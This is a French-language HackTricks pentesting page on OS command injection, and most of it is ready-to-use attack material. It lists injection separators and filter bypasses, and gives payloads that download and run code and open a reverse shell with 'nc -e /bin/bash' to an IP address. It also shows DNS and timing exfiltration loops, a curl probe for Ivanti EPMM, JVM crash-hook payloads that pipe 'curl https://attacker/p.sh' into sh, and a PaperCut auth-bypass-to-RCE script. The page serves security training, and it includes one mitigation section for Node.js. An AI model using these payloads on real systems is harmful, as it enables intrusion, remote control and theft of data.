Command Injection

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Qu’est-ce que command Injection ?

A command injection permet l’exécution de commandes arbitraires du système d’exploitation par un attaquant sur le serveur hébergeant une application. En conséquence, l’application et toutes ses données peuvent être entièrement compromises. L’exécution de ces commandes permet généralement à l’attaquant d’obtenir un accès non autorisé ou le contrôle de l’environnement de l’application et du système sous-jacent.

Contexte

Selon l’endroit où votre entrée est injectée, vous devrez peut-être terminer le contexte entre guillemets (en utilisant " ou ') avant les commandes.

Command Injection/Execution

#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a   # (Combining new lines and tabs)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command

Limition Contournements

Si vous tentez d’exécuter des commandes arbitraires sur une machine linux, vous serez intéressé par la lecture de ces contournements :

Bypass Linux Restrictions

Exemples

vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay

Évaluation arithmétique Bash dans les scripts de type RewriteMap/CGI

Les helpers RewriteMap écrits en bash poussent parfois des params de requête dans des variables globales et les comparent ensuite dans des contextes arithmétiques ([[ $a -gt $b ]], $((...)), let). L’expansion arithmétique re-tokenise le contenu, donc les noms de variables contrôlés par l’attaquant ou les références de tableau sont développés deux fois et peuvent s’exécuter.

Patron observé dans les helpers RewriteMap d’Ivanti EPMM :

  1. Les paramètres mappent vers des variables globales (st → gStartTime, h → theValue).
  2. Vérification ultérieure :
if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]]; then
...
fi
  1. Envoyer st=theValue pour que gStartTime pointe vers la chaîne theValue.
  2. Envoyer h=gPath['sleep 5'] pour que theValue contienne un indice de tableau ; pendant la vérification arithmétique, il exécute sleep 5 (remplacer par un payload réel).

Probe (~5s de délai puis 404 si vulnérable):

curl -k "https://TARGET/mifs/c/appstore/fob/ANY?st=theValue&h=gPath['sleep 5']"

Remarques :

  • Cherchez le même helper sous d’autres préfixes (par ex., /mifs/c/aftstore/fob/).
  • Les contextes arithmétiques traitent les tokens inconnus comme des identifiants de variable/tableau, ce qui permet de contourner des filtres simples de métacaractères.

Paramètres

Voici les 25 principaux paramètres qui pourraient être vulnérables à des code injection et à des vulnérabilités RCE similaires (d’après link):

?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}

Time based data exfiltration

Extraction de data : char by char

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s

DNS based data exfiltration

Basé sur l’outil provenant de https://github.com/HoLyVieR/dnsbin, également hébergé sur dnsbin.zhack.ca

1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done

$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)

Outils en ligne pour vérifier une data exfiltration basée sur DNS :

  • dnsbin.zhack.ca
  • pingb.in

Contournement du filtrage

Windows

powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc

Linux

Bypass Linux Restrictions

Node.js child_process.exec vs execFile

Lorsque vous auditez des back-ends JavaScript/TypeScript, vous rencontrerez souvent l’API Node.js child_process.

// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* … */
});

exec() lance un shell (/bin/sh -c), donc tout caractère ayant une signification spéciale pour le shell (back-ticks, ;, &&, |, $(), …) entraînera une command injection lorsque l’entrée utilisateur est concaténée dans la chaîne.

Atténuation : utilisez execFile() (ou spawn() sans l’option shell) et fournissez chaque argument en tant qu’élément séparé du tableau afin qu’aucun shell ne soit impliqué :

const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);

Cas réel : Synology Photos ≤ 1.7.0-0794 était exploitable via un événement WebSocket non authentifié qui plaçait des données contrôlées par l’attaquant dans id_user, lesquelles étaient ensuite intégrées dans un appel exec(), aboutissant à RCE (Pwn2Own Ireland 2024).

Injection d’arguments/options via un tiret initial (argv, sans métacaractères shell)

Toutes les injections n’exigent pas des métacaractères shell. Si l’application transmet des chaînes non fiables comme arguments à un utilitaire système (même avec execve/execFile et sans shell), de nombreux programmes analyseront quand même tout argument commençant par - ou -- comme une option. Cela permet à un attaquant de changer de mode, modifier les chemins de sortie ou déclencher des comportements dangereux sans jamais passer par un shell.

Endroits typiques où ceci apparaît :

  • Interfaces web embarquées/gestionnaires CGI qui construisent des commandes comme ping <user>, tcpdump -i <iface> -w <file>, curl <url>, etc.
  • Routeurs CGI centralisés (p.ex., /cgi-bin/<something>.cgi avec un paramètre sélecteur comme topicurl=<handler>) où plusieurs gestionnaires réutilisent le même validateur faible.

Que tester :

  • Fournir des valeurs commençant par -/-- pour qu’elles soient interprétées comme des flags par l’outil en aval.
  • Abuser des flags qui changent le comportement ou écrivent des fichiers, par exemple :
  • ping : -f/-c 100000 pour stresser l’appareil (DoS)
  • curl : -o /tmp/x pour écrire des chemins arbitraires, -K <url> pour charger une config contrôlée par l’attaquant
  • tcpdump : -G 1 -W 1 -z /path/script.sh pour obtenir une exécution post-rotation dans des wrappers non sécurisés
  • Si le programme prend en charge -- (fin des options), essayer de contourner des mitigations naïves qui préfixent -- au mauvais endroit.

Formes génériques de PoC contre des dispatchers CGI centralisés :

POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded

# Flip options in a downstream tool via argv injection
topicurl=<handler>&param=-n

# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;

JVM diagnostic callbacks pour exécution garantie

Toute primitive qui vous permet d’injecter des arguments de ligne de commande JVM (_JAVA_OPTIONS, launcher config files, AdditionalJavaArguments fields in desktop agents, etc.) peut être transformée en un RCE fiable sans toucher au bytecode de l’application :

  1. Forcer un plantage déterministe en réduisant le metaspace ou le heap : -XX:MaxMetaspaceSize=16m (ou un -Xmx minuscule). Cela garantit un OutOfMemoryError même pendant le bootstrap précoce.
  2. Attacher un hook d’erreur : -XX:OnOutOfMemoryError="<cmd>" ou -XX:OnError="<cmd>" exécute une commande OS arbitraire chaque fois que la JVM s’arrête.
  3. Optionnellement, ajoutez -XX:+CrashOnOutOfMemoryError pour éviter toute tentative de récupération et faire du payload une exécution unique.

Exemples de payloads:

-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand <blob>"
-XX:MaxMetaspaceSize=12m -XX:OnOutOfMemoryError="/bin/sh -c 'curl -fsS https://attacker/p.sh | sh'"

Parce que ces diagnostics sont analysés par la JVM elle-même, aucun métacaractère de shell n’est nécessaire et la commande s’exécute avec le même niveau d’intégrité que le launcher. Les bugs Desktop IPC qui transmettent des flags JVM fournis par l’utilisateur (voir Localhost WebSocket abuse) se traduisent donc directement en exécution de commandes OS.

PaperCut NG/MF SetupCompleted auth bypass -> print scripting RCE

  • Les builds NG/MF vulnérables (par ex., 22.0.5 Build 63914) exposent /app?service=page/SetupCompleted ; en y naviguant et en cliquant sur Login on obtient un JSESSIONID valide sans identifiants (authentication bypass dans le flux de configuration).
  • Dans Options → Config Editor, définissez print-and-device.script.enabled=Y et print.script.sandboxed=N pour activer le printer scripting et désactiver le sandbox.
  • Dans l’onglet Scripting de l’imprimante, activez le script et conservez printJobHook défini pour éviter les erreurs de validation, mais placez le payload outside de la fonction afin qu’il s’exécute immédiatement lorsque vous cliquez sur Apply (aucun print job requis) :
function printJobHook(inputs, actions) {}
cmd = ["bash","-c","curl http://attacker/hit"];
java.lang.Runtime.getRuntime().exec(cmd);
  • Remplacez le callback par un reverse shell ; si l’UI/PoC ne peut pas gérer les pipes/redirects, stagez un payload avec une commande et exec it avec une seconde request.
  • Le script de Horizon3 CVE-2023-27350.py automatise l’auth bypass, config flips, command execution et rollback — lancez-le via un upstream proxy (p.ex., proxychains → Squid) lorsque le service n’est accessible qu’en interne.

Brute-Force Detection List

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks